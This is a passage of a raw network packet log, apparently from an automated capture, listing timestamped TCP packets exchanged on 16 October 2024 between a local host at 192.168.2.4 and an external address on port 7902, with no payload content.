                                                                                                                            Oct 16, 2024 05:32:11.715466976 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715509892 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715548038 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715595007 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.715600014 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715718985 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715747118 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715796947 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.715797901 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715826988 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715895891 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.715895891 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.715961933 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.715990067 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.716103077 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.716129065 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.716130018 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.716195107 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.720491886 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.720525026 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.720558882 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.720592022 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.720675945 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.720675945 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:11.720844984 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:11.772526979 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.075537920 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075602055 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075743914 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075757980 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.075797081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075829983 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075881004 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.075939894 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.075968981 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.076008081 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.076080084 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.076107025 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.076154947 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.076198101 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.076246023 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.076292992 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.080645084 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.080707073 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.080750942 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.080754995 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.080789089 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.080810070 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.080821991 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.080852985 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.081026077 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.131776094 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.193027973 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193064928 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193098068 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193119049 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.193155050 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193187952 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193253994 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193258047 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.193284988 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193434954 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.193480015 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193507910 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193557024 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193562984 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.193584919 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.193617105 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.197945118 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.197994947 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.198024035 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.198024035 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.198055983 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.198110104 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.198118925 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.198182106 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.198189974 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.241410971 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.398973942 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399007082 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399069071 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399153948 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399182081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399214983 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399245977 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399331093 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399331093 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399457932 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399486065 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399621010 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399648905 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399682999 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399682999 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399745941 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399774075 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399835110 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399885893 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.399908066 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.399975061 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.400033951 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400062084 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400474072 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400506020 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400538921 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400552034 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.400571108 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.400604010 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.400619984 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.516808033 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.516846895 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.516900063 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.516904116 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.516948938 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.516983986 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517014027 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517035961 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517045975 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517091990 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517224073 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517273903 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517307997 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517314911 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517363071 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517395973 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517442942 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517591000 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517617941 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517700911 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517700911 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.517756939 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517788887 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517821074 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.517885923 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.559240103 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.559288979 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.559325933 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.559341908 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.559411049 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634169102 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634203911 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634237051 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634268999 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634296894 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634303093 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634310961 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634335041 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634402037 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634684086 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634712934 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634744883 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634778023 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634819984 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634840965 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634840965 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.634870052 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634901047 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.634947062 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.635145903 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.635173082 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.635201931 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.635237932 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.635284901 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.635288000 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.676711082 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.676742077 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.676763058 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.676852942 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.676852942 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.751358986 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751441956 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751514912 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751543045 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751558065 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.751590014 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.751652956 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751705885 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751738071 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.751753092 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.752159119 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752187967 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752216101 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.752238035 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752286911 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752306938 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.752321005 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752352953 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752362013 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.752388000 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752479076 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.752746105 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752854109 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752886057 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.752938986 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.794181108 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.794202089 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.794219017 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.794270039 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.794270039 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869015932 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869031906 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869162083 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869198084 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869210958 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869273901 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869287014 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869292021 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869360924 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869515896 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869564056 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869577885 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869630098 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869669914 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869683981 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869699001 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869734049 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869734049 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.869954109 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869977951 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.869992018 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.870075941 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.870249033 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.870264053 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.870277882 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.870349884 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.870349884 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.911616087 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.911653996 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.911686897 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.911706924 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.911721945 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.911791086 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.986382008 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986413956 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986489058 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.986676931 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986710072 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986746073 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986788034 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.986938953 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.986990929 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987020969 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987023115 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987066984 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987091064 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987098932 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987131119 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987190008 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987359047 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987411022 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987428904 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987463951 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987521887 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987566948 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987649918 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987699032 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.987737894 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987770081 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.987833977 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:12.995325089 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.995796919 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:12.995853901 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.028898001 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.028932095 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.028964996 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.029048920 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.069286108 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.103959084 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.103993893 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104187012 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104214907 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104248047 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104325056 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104356050 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104391098 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104460955 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104510069 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104542971 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104573965 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104581118 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.104608059 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104640961 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.104646921 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.104646921 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.104747057 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.105148077 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.105201960 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.105236053 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.105281115 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.105285883 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.105318069 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.105364084 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.112818956 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.112906933 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.113082886 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.146512032 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.146548986 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.146583080 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.146686077 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.146686077 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.221550941 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.221659899 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.221688986 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.221740007 CEST497367902192.168.2.4104.250.180.178
                                                                                                                            Oct 16, 2024 05:32:13.221757889 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.221787930 CEST790249736104.250.180.178192.168.2.4
                                                                                                                            Oct 16, 2024 05:32:13.221817017 CEST497367902192.168.2.4104.250.180.178
